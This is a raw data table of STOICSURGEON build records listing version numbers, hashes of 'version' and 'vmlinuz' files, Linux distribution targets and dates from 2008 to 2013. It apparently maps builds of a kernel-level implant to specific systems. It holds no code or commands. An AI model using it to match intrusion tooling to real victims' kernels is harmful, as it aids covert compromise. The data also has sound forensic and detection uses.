STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Mon Apr 23 2012 +1.7.27.2 7f823b6cff4ef857e015711e1d6a3698 version STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Mon Apr 23 2012 +1.7.27.2 d13567f38bda1c9a3214f8b5fc3b543c vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Mon Apr 23 2012 +1.7.27.2 2583f9ce49ba9d6ed3b49344e938150c version STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Mon Apr 23 2012 +1.7.27.2 dccd6d2e16b1bd6c27042449d96349a4 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Mon Apr 23 2012 +1.7.27.2 8f686052961d3771e1c666fe04ba1e22 version STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Mon Apr 23 2012 +1.7.27.2 4f83feb5631e51997abfcb6ce81c88e1 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Mon Apr 23 2012 +1.7.27.2 878ed4767781e9253c1f19e1a4800a6e version STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Mon Apr 23 2012 +1.7.27.2 6077a1f0830ac2edb2fbe316906f59ad vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Mon Apr 23 2012 +1.7.27.2 0e16037e4d2d78adea390b130eb5353a version STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Mon Apr 23 2012 +1.7.27.2 7ef6290820cacf04dcfdf9a3ffcf0215 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Mon Apr 23 2012 +1.7.27.2 1fba1a8b8b71762dd4a862fe56a2b629 version STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Mon Apr 23 2012 +1.7.27.2 78d22c9e448fdb6e80b30e1c7ce856a3 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Mon Apr 23 2012 +1.7.27.2 97e1f70794543699e286ce138eeddffc version STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Mon Apr 23 2012 +1.7.27.2 844cdf416272f066a764f6d855a66f4a vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Mon Apr 23 2012 +1.7.27.2 7cf97fd9fbf9bb623dac791cc4ed26fc version STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Mon Apr 23 2012 +1.7.27.2 16f6d50abdd1e9340336ba884c1f29ab vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Mon Apr 23 2012 +1.7.15.11 7f823b6cff4ef857e015711e1d6a3698 version STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Wed Jan 11 2012 +1.7.15.11 d13567f38bda1c9a3214f8b5fc3b543c vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Wed Jan 11 2012 +1.7.15.11 1fba1a8b8b71762dd4a862fe56a2b629 version STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Wed Jan 11 2012 +1.7.15.11 78d22c9e448fdb6e80b30e1c7ce856a3 vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Wed Jan 11 2012 +1.7.15.11 97e1f70794543699e286ce138eeddffc version STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Wed Jan 11 2012 +1.7.15.11 844cdf416272f066a764f6d855a66f4a vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Wed Jan 11 2012 +1.7.15.11 7cf97fd9fbf9bb623dac791cc4ed26fc version STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Wed Jan 11 2012 +1.7.15.11 16f6d50abdd1e9340336ba884c1f29ab vmlinuz STOICSURGEON-X86_64-LINUX-CENTOS-5.7 Wed Jan 11 2012 +1.7.13.16 a7c2ff5e542d8d067e81ff863a429ff5 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.9 Fri Nov 18 2011 +1.7.13.16 114b89682c7c60f2e02a3d606d5c3501 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.9 Fri Nov 18 2011 +1.7.13.16 4ea59ee24b421972bf50ee1f417ccba7 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.9 Fri Nov 18 2011 +1.7.13.16 bc7eb3604505fc9a3fb1cc32805beb93 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.9 Fri Nov 18 2011 +1.7.13.16 6bc1fb81c873f3df4f83b2adadf965a8 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.9 Fri Nov 18 2011 +1.7.13.16 5f940294859c6ccbe7e0bc40507c6bc3 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.9 Fri Nov 18 2011 +1.7.13.16 d1c77c91c413538db9633c9d0498c223 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.9 Fri Nov 18 2011 +1.7.13.16 bd9f54811d268d144a5f69bdc709248c vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.9 Fri Nov 18 2011 +1.7.13.16 6eb6345e7def5b6f95e404a657a1eb6d version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.9 Fri Nov 18 2011 +1.7.13.16 7bd81c2f199c579398efeaf5de226f77 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.9 Fri Nov 18 2011 +1.7.13.16 c27e671b15c13a48f46fd505d5769fb5 version STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.9 Fri Nov 18 2011 +1.7.13.16 ffe0db88b7a655933051f1da064466e5 vmlinuz STOICSURGEON-X86_64-LINUX-REDHAT-ENTERPRISE-4.9 Fri Nov 18 2011 +1.7.14.34 03800c2568d3ae55c34eaa6741495556 version STOICSURGEON-X86_LINUX-NETSAFE Sun Dec 11 2011 +1.7.14.34 49f6ecdff024eb3055104d64a4837767 vmlinuz STOICSURGEON-X86_LINUX-NETSAFE Sun Dec 11 2011 +1.7.60.1 share export STOICSURGEON-X86-LINUX-TANDBERG Thu Jun 6 2013 +1.7.60.1 share export STOICSURGEON-X86-LINUX-TANDBERG Thu Jun 6 2013 +1.7.60.1 share export STOICSURGEON-X86-LINUX-TANDBERG Thu Jun 6 2013 +1.7.60.1 share export STOICSURGEON-X86-LINUX-TANDBERG Thu Jun 6 2013 +1.7.60.1 1193ccdeb0b1cccee07e05a2f4c244da version STOICSURGEON-X86-LINUX-TANDBERG Thu Jun 6 2013 +1.7.60.1 1b88ddb56f143fb0cbbf85bd583abcc6 vmlinuz STOICSURGEON-X86-LINUX-TANDBERG Thu Jun 6 2013 +1.7.60.1 14b28da443a4b2c808065a8a8c8fbf56 version STOICSURGEON-X86-LINUX-TANDBERG Thu Jun 6 2013 +1.7.60.1 87d9985b9d0b6c35baaed588ba254051 vmlinuz STOICSURGEON-X86-LINUX-TANDBERG Thu Jun 6 2013 +1.7.14.40 1193ccdeb0b1cccee07e05a2f4c244da version STOICSURGEON-X86-LINUX-TANDBERG Mon Dec 12 2011 +1.7.14.40 1b88ddb56f143fb0cbbf85bd583abcc6 vmlinuz STOICSURGEON-X86-LINUX-TANDBERG Mon Dec 12 2011 +1.7.4.1 f2410dad942702b7109fd49cbc29c9fa version STOICSURGEON-X86-LINUX-SLACKWARE-12.2-MENTALBOLT_E Mon Jun 6 2011 +1.7.4.1 e698587fe408d88ce8a651a2d3e8ab2f vmlinuz STOICSURGEON-X86-LINUX-SLACKWARE-12.2-MENTALBOLT_E Mon Jun 6 2011 +1.7.4.1 de27ab4dd539efb1260b34ccc9e12d33 version STOICSURGEON-X86-LINUX-SLACKWARE-12.2-MENTALBOLT_E Mon Jun 6 2011 +1.7.4.1 b20efa044e31ef3984d091b7b8796bbf vmlinuz STOICSURGEON-X86-LINUX-SLACKWARE-12.2-MENTALBOLT_E Mon Jun 6 2011 +1.7.4.1 f043104ed8d9801a86ac6cb4a7a71c42 version STOICSURGEON-X86-LINUX-SLACKWARE-12.2-MENTALBOLT_E Mon Jun 6 2011 +1.7.4.1 6a44eac669be2b78f2a2b8fd4a7d7fc4 vmlinuz STOICSURGEON-X86-LINUX-SLACKWARE-12.2-MENTALBOLT_E Mon Jun 6 2011 +1.7.4.1 baf0b7e2beae8324e0a41f9ceefa0204 version STOICSURGEON-X86-LINUX-SLACKWARE-12.2-MENTALBOLT_E Mon Jun 6 2011 +1.7.4.1 76b339e79d85dd02e399a2e32e6f76ec vmlinuz STOICSURGEON-X86-LINUX-SLACKWARE-12.2-MENTALBOLT_E Mon Jun 6 2011 +1.7.4.1 160514d0aca7b239b36bbf3b58a4125a version STOICSURGEON-X86-LINUX-SLACKWARE-12.2-MENTALBOLT_E Mon Jun 6 2011 +1.7.4.1 349203c5a762f3be341f6a7b5ffe7140 vmlinuz STOICSURGEON-X86-LINUX-SLACKWARE-12.2-MENTALBOLT_E Mon Jun 6 2011 +1.7.4.1 88d29159aa517d6c0ea0d6d6e112d961 version STOICSURGEON-X86-LINUX-SLACKWARE-12.2-MENTALBOLT_E Mon Jun 6 2011 +1.7.4.1 91f96aa412e63e82e7bc9ae30960d86a vmlinuz STOICSURGEON-X86-LINUX-SLACKWARE-12.2-MENTALBOLT_E Mon Jun 6 2011 +1.7.4.1 093f1d46d49e08d8cc98b353ebc6d378 version STOICSURGEON-X86-LINUX-SLACKWARE-12.2-MENTALBOLT_E Mon Jun 6 2011 +1.7.4.1 b7a03c66d806e5d80e7236c80054ebf1 vmlinuz STOICSURGEON-X86-LINUX-SLACKWARE-12.2-MENTALBOLT_E Mon Jun 6 2011 +1.7.4.1 1bee584bbc823c51b21dfe4febf57ee4 version STOICSURGEON-X86-LINUX-SLACKWARE-12.2-MENTALBOLT_E Mon Jun 6 2011 +1.7.4.1 da862cb46d529286c2aaadaac17f44b1 vmlinuz STOICSURGEON-X86-LINUX-SLACKWARE-12.2-MENTALBOLT_E Mon Jun 6 2011 +1.7.4.1 461356ec3f8912c65e4c0b6dd22ab1d7 version STOICSURGEON-X86-LINUX-SLACKWARE-12.2-MENTALBOLT_E Mon Jun 6 2011 +1.7.4.1 f18e6fd95f6fee0d1d8e3ea6a8f3066f vmlinuz STOICSURGEON-X86-LINUX-SLACKWARE-12.2-MENTALBOLT_E Mon Jun 6 2011 +1.4.23.5 c84f26a8f735d8d0f638b28c42c33e1e version STOICSURGEON-X86-LINUX-CENTOS-4.5 Thu Oct 2 2008 +1.4.23.5 c020e1cc9c0387f8bba0492a227457d1 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.5 Thu Oct 2 2008 +1.4.23.5 b46ab79933d067d04ab2718bb8340bc5 version STOICSURGEON-X86-LINUX-CENTOS-4.5 Thu Oct 2 2008 +1.4.23.5 3e7c8ee4cddf3722d7d04fbe45307aba vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.5 Thu Oct 2 2008 +1.4.23.5 3e787dd77f004ee21c64524ad20754c4 version STOICSURGEON-X86-LINUX-CENTOS-4.5 Thu Oct 2 2008 +1.4.23.5 89fb30a0e8548c83a0bca16ef0a375f5 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.5 Thu Oct 2 2008 +1.4.23.5 9520e519d5246efb8e0a81dc07f080fe version STOICSURGEON-X86-LINUX-CENTOS-4.5 Thu Oct 2 2008 +1.4.23.5 f9488d090556438f27b68ca25b8993af vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.5 Thu Oct 2 2008 +1.4.23.5 8ff6469775bb963edee667454a8d10eb version STOICSURGEON-X86-LINUX-CENTOS-4.5 Thu Oct 2 2008 +1.4.23.5 a9859826cfa6eb83daac7f29f5e0a796 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.5 Thu Oct 2 2008 +1.4.23.5 694a0df9161e0ca13ec7e75a9ad702cd version STOICSURGEON-X86-LINUX-CENTOS-4.5 Thu Oct 2 2008 +1.4.23.5 2eff77c0722143225e14b07d70e3d410 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.5 Thu Oct 2 2008 +1.4.23.5 8d37ad2d6a66efb7ee74a03472f128e9 version STOICSURGEON-X86-LINUX-CENTOS-4.5 Thu Oct 2 2008 +1.4.23.5 87aaaa1fb4f26525819b2c8e56b69cb5 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.5 Thu Oct 2 2008 +1.4.23.5 431c73b5a4ae7c910364da42807bf7e3 version STOICSURGEON-X86-LINUX-CENTOS-4.5 Thu Oct 2 2008 +1.4.23.5 fe0a55d4a140a35413ccd480dd1b219c vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.5 Thu Oct 2 2008 +1.7.17.2 7465173a7d187de8aea3b048524b5f00 version STOICSURGEON-X86-LINUX-ASTARO Fri Feb 3 2012 +1.7.17.2 4d87b187e4548eccab5e2e8c3b966353 vmlinuz STOICSURGEON-X86-LINUX-ASTARO Fri Feb 3 2012 +1.7.17.2 688f9201026a9311b272b3cffcf96284 version STOICSURGEON-X86-LINUX-ASTARO Fri Feb 3 2012 +1.7.17.2 80eda0e9c29d1b206c96ec67019ce25e vmlinuz STOICSURGEON-X86-LINUX-ASTARO Fri Feb 3 2012 +1.7.17.2 9d7b03f965c09d7f4e94da15885631a8 version STOICSURGEON-X86-LINUX-ASTARO Fri Feb 3 2012 +1.7.17.2 d750e61f39e0baaf6b3cb2db451902a5 vmlinuz STOICSURGEON-X86-LINUX-ASTARO Fri Feb 3 2012 +1.7.17.2 ae714a608ce007a705d7f21a6c10fcbe version STOICSURGEON-X86-LINUX-ASTARO Fri Feb 3 2012 +1.7.17.2 11a40ba4eb6860784df21d57f59e7e33 vmlinuz STOICSURGEON-X86-LINUX-ASTARO Fri Feb 3 2012 +1.7.17.2 b2ed66cbe362171d5ab14527df775227 version STOICSURGEON-X86-LINUX-ASTARO Fri Feb 3 2012 +1.7.17.2 a7aec8728ebd6f1f55a7ff0a52118fd6 vmlinuz STOICSURGEON-X86-LINUX-ASTARO Fri Feb 3 2012 +1.7.17.2 b4e1157a0c84ae572ef803072a57ad5f version STOICSURGEON-X86-LINUX-ASTARO Fri Feb 3 2012 +1.7.17.2 3e46e2d3ad63ff1492039a23b42341c0 vmlinuz STOICSURGEON-X86-LINUX-ASTARO Fri Feb 3 2012 +1.7.17.2 272738a1f70ecee708f02095d1e2767a version STOICSURGEON-X86-LINUX-ASTARO Fri Feb 3 2012 +1.7.17.2 6dbd265838429c539596e005a599c07b vmlinuz STOICSURGEON-X86-LINUX-ASTARO Fri Feb 3 2012 +1.7.17.2 a863aa97c7f8e8cd898c9bb50a368d82 version STOICSURGEON-X86-LINUX-ASTARO Fri Feb 3 2012 +1.7.17.2 35d56a6dbd39909cf7ee29e48bfda576 vmlinuz STOICSURGEON-X86-LINUX-ASTARO Fri Feb 3 2012 +1.7.17.2 cf2bdcd447c7f9ffc6ab7a7ac3b2abf5 version STOICSURGEON-X86-LINUX-ASTARO Fri Feb 3 2012 +1.7.17.2 c9d3a03b20e27bb017bc733487b734ea vmlinuz STOICSURGEON-X86-LINUX-ASTARO Fri Feb 3 2012 +1.7.17.2 4a39f3ec606ddc9b1ae9cfed39568ae5 version STOICSURGEON-X86-LINUX-ASTARO Fri Feb 3 2012 +1.7.17.2 91f8957002b5fc6141cfaaa31e3b8c9e vmlinuz STOICSURGEON-X86-LINUX-ASTARO Fri Feb 3 2012 +1.7.41.2 7d49bf8622c813814049775f704e440f version STOICSURGEON-X86-LINUX-ASTARO Fri Dec 14 2012 +1.7.41.2 9698a39e6158b97e7076fc801daf4b1b vmlinuz STOICSURGEON-X86-LINUX-ASTARO Fri Dec 14 2012 +1.7.41.5 6e5a93f4f0c78cc321c317f8bd9f3347 version STOICSURGEON-X86-LINUX-ASTARO Tue Dec 18 2012 +1.7.41.5 ebb223f6be364d954890e8c1c72959df vmlinuz STOICSURGEON-X86-LINUX-ASTARO Tue Dec 18 2012 +1.7.41.5 7d49bf8622c813814049775f704e440f version STOICSURGEON-X86-LINUX-ASTARO Tue Dec 18 2012 +1.7.41.5 9698a39e6158b97e7076fc801daf4b1b vmlinuz STOICSURGEON-X86-LINUX-ASTARO Tue Dec 18 2012 +1.7.19.1 ede512a3b0c54d2d9f8a1edd9e1da659 version STOICSURGEON-X86_64-LINUX-ASTARO Tue Feb 14 2012 +1.7.19.1 a67a85741ae488dff3dbd0fc10516436 vmlinuz STOICSURGEON-X86_64-LINUX-ASTARO Tue Feb 14 2012 +1.7.19.1 2e783ded564a56269466382fe77d8c3c version STOICSURGEON-X86_64-LINUX-ASTARO Tue Feb 14 2012 +1.7.19.1 d369fdb754e66768c27303d29ccb96db vmlinuz STOICSURGEON-X86_64-LINUX-ASTARO Tue Feb 14 2012 +1.7.19.1 c286a8038c6fe5d16641f3541d1f0b1e version STOICSURGEON-X86_64-LINUX-ASTARO Tue Feb 14 2012 +1.7.19.1 4f712fea03b550bc7f8887ed08318b75 vmlinuz STOICSURGEON-X86_64-LINUX-ASTARO Tue Feb 14 2012 +1.7.19.1 535e0f2ef0b7adca5f4a17951a8e2ee1 version STOICSURGEON-X86_64-LINUX-ASTARO Tue Feb 14 2012 +1.7.19.1 aa6f32946cd387d31ade32cb7785a413 vmlinuz STOICSURGEON-X86_64-LINUX-ASTARO Tue Feb 14 2012 +1.7.19.1 168f7dfcba5ffb938218e196b93c3b06 version STOICSURGEON-X86_64-LINUX-ASTARO Tue Feb 14 2012 +1.7.19.1 972b91115315fc9ff778487c12650318 vmlinuz STOICSURGEON-X86_64-LINUX-ASTARO Tue Feb 14 2012 +1.7.19.1 bb8a19d18742daf82a1a87ed2457a2cd version STOICSURGEON-X86_64-LINUX-ASTARO Tue Feb 14 2012 +1.7.19.1 66025cc679be0c667d2d440a4d9e395c vmlinuz STOICSURGEON-X86_64-LINUX-ASTARO Tue Feb 14 2012 +1.7.19.1 712f90f284240bebe3534710f27525ae version STOICSURGEON-X86_64-LINUX-ASTARO Tue Feb 14 2012 +1.7.19.1 7e879d1075c28f4352df86bccc93c402 vmlinuz STOICSURGEON-X86_64-LINUX-ASTARO Tue Feb 14 2012 +1.7.19.1 9a0b066477d7227c9138c99c3f395bde version STOICSURGEON-X86_64-LINUX-ASTARO Tue Feb 14 2012 +1.7.19.1 be9187847b1bc375a72835176a144937 vmlinuz STOICSURGEON-X86_64-LINUX-ASTARO Tue Feb 14 2012 +1.7.19.1 b4d6873b5ceef6dacfb52b39c5f0df8a version STOICSURGEON-X86_64-LINUX-ASTARO Tue Feb 14 2012 +1.7.19.1 100c9f1feb38492fa8b0691671ce5bae vmlinuz STOICSURGEON-X86_64-LINUX-ASTARO Tue Feb 14 2012 +1.7.19.1 7f3be606348234ad0d2d5b5c40cd887b version STOICSURGEON-X86_64-LINUX-ASTARO Tue Feb 14 2012 +1.7.19.1 eb9060169749b35696a58b8dbada392d vmlinuz STOICSURGEON-X86_64-LINUX-ASTARO Tue Feb 14 2012 +1.7.41.4 8d8adc732a9097fc744eb8ffc81b5a45 version STOICSURGEON-X86_64-LINUX-ASTARO Tue Dec 18 2012 +1.7.41.4 8c52300b8ffa020926dbff45f03e6567 vmlinuz STOICSURGEON-X86_64-LINUX-ASTARO Tue Dec 18 2012 +1.7.40.12 23f8c30154c640c90305073ddcace4b6 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.7-CSA Tue Dec 11 2012 +1.7.40.12 4e8a4e4c8ddf8ab80f2471d8c44906b6 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.7-CSA Tue Dec 11 2012 +1.7.19.2 23f8c30154c640c90305073ddcace4b6 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.7-CSA Thu Feb 16 2012 +1.7.19.2 4e8a4e4c8ddf8ab80f2471d8c44906b6 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.7-CSA Thu Feb 16 2012 +1.7.21.1 702b44b6d1f47c25f71af02adf635765 version STOICSURGEON-X86-LINUX-DEBIAN-4.1 Thu Feb 23 2012 +1.7.21.1 e927e007add43c5b8117e888b9b26ddd vmlinuz STOICSURGEON-X86-LINUX-DEBIAN-4.1 Thu Feb 23 2012 +1.7.21.1 b6cdd52e6b7b1050de3c2b1ba114b579 version STOICSURGEON-X86-LINUX-DEBIAN-4.1 Thu Feb 23 2012 +1.7.21.1 003ae3b6d2e701152cb3326491be90e0 vmlinuz STOICSURGEON-X86-LINUX-DEBIAN-4.1 Thu Feb 23 2012 +1.7.22.1 89c05a44e5cfcb77dd9785b0a719ebc6 version STOICSURGEON-X86-LINUX-FEDORA1-TARIGH Thu Mar 1 2012 +1.7.22.1 2d6d2612f3c795c5ee7c6973f18b5aa3 vmlinuz STOICSURGEON-X86-LINUX-FEDORA1-TARIGH Thu Mar 1 2012 +1.7.22.1 70aba9c04aa067c4a2ef0f1a5a3b41a1 version STOICSURGEON-X86-LINUX-FEDORA1-TARIGH Thu Mar 1 2012 +1.7.22.1 1fbd8ea5750aea585c62d03bbf70ef9d vmlinuz STOICSURGEON-X86-LINUX-FEDORA1-TARIGH Thu Mar 1 2012 +1.7.22.1 9744bf9946e59ffa29ddfbcbc4085d56 version STOICSURGEON-X86-LINUX-FEDORA1-TARIGH Thu Mar 1 2012 +1.7.22.1 2e082fbd23126d4d35ecffa570f4c84d vmlinuz STOICSURGEON-X86-LINUX-FEDORA1-TARIGH Thu Mar 1 2012 +1.7.22.1 467d84e69afce0aba921a2dad8e3374a version STOICSURGEON-X86-LINUX-FEDORA1-TARIGH Thu Mar 1 2012 +1.7.22.1 d2748bf9d7b2de2f75214c62d80829ae vmlinuz STOICSURGEON-X86-LINUX-FEDORA1-TARIGH Thu Mar 1 2012 +1.7.24.2 6dcd8b23fcbc3fa5a40f3f5a1a5c56b2 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 f43052cbe031b75b7908aacc348c341f vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 dcd6080fd1b77b2753dc58382438b1b9 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 73bdd43865b0ac5474c227c6132bffa4 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 4053ba63e29c462511dace85ef048398 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 15811565d5b740d3a0c49e2200cd7316 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 8093cd39799575de9c8caecbff0f159f version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 c2222a7b4780f03e9d44dd8776a443ce vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 d8e714cb166b3173bbfc33813a24429e version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 8f4af5b5b2892a542bf61f84c758a0c8 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 5c3f926983075e297f302bdb3cdea1e1 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 777393c24170511d4c8894263aacdec9 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 be35855d82211afde09e0a1b71f3effe version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 d390c2c04869ab7a8ede26365d032392 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 cbf0bf032aedefd65c500c5e0eb3b2b1 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 2c9d28a2b571c63d8397604cbb4159c4 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 ed275c95c9f43a0b2c32b832c9cc4f0c version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 d0aeb64955415be683e392318b26e7cd vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 858cf9def453b6ada0c3a23366a1e9a6 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 5e48acc6aa9ebff979e7e8ada7bb3962 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 42d236c9a258f5869db57d712e0a07e2 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 4486594a74d9212a2c45746b31473fe4 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 4d92ec1212a1d3fb14757d1d3f5a1a8b version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 840944347a7ccd1d5f88295652fed47f vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 96fe15c0ba6a1d56c1eea60cbe4093c0 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 8c1930e14a2aae8259ecfb67edeefb24 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 7e1cb9cd661cfebd7bb38530dadb7cc1 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 976a15cd0f9a4a5a393890f28fa3baa1 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 cf4cffd35b1b29d4d45377d8a6ec4121 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 25e0de54af58eb6180dcbdc612503886 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 37f11a7563bcf6f52bdeeb57e1698d8f version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 0771ff4bb690b261b53c2c2d4ea88f8b vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 ef0c066bd8d5a0e7006630b0d888e63e version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 78423bc55a62414b06befa6de9e75263 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 835f26868fabfd91023c7bf31e22116d version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 392e152ac1cb572f843d4908b86eb574 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 ef0ae7c5007fe0b5b759da7a3d823fee version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 350ae20b9bd1e8dcce132be9f5a3b4d1 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 69a34fe41c0a2ad22fcf374bedda456d version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 e103d02fc4711be61125ea706e007666 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 161953f92ea91a2d18728e7dfcd4125e version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 c901c38be64321c0891e57aeb32f0231 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 124ecc684ef53012a02af6628eb44ad4 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 ddb5d25888f71a3afe58829193bd4867 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 c7967a35160d0bc379fd3f0557517cc3 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 dee202e1c527666afdfa6f5f562924a8 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 60ff5d59c3e8467a0f3bf12146d6af5f version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 3994d15f193db435cdc29e4b36d6c687 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 feb206bf2497ccd3d45fa595aaffd094 version STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 +1.7.24.2 7c3c355cf995db25d07d244cdf179661 vmlinuz STOICSURGEON-X86-LINUX-SUSE-ENTERPRISE-10.2 Fri Mar 30 2012 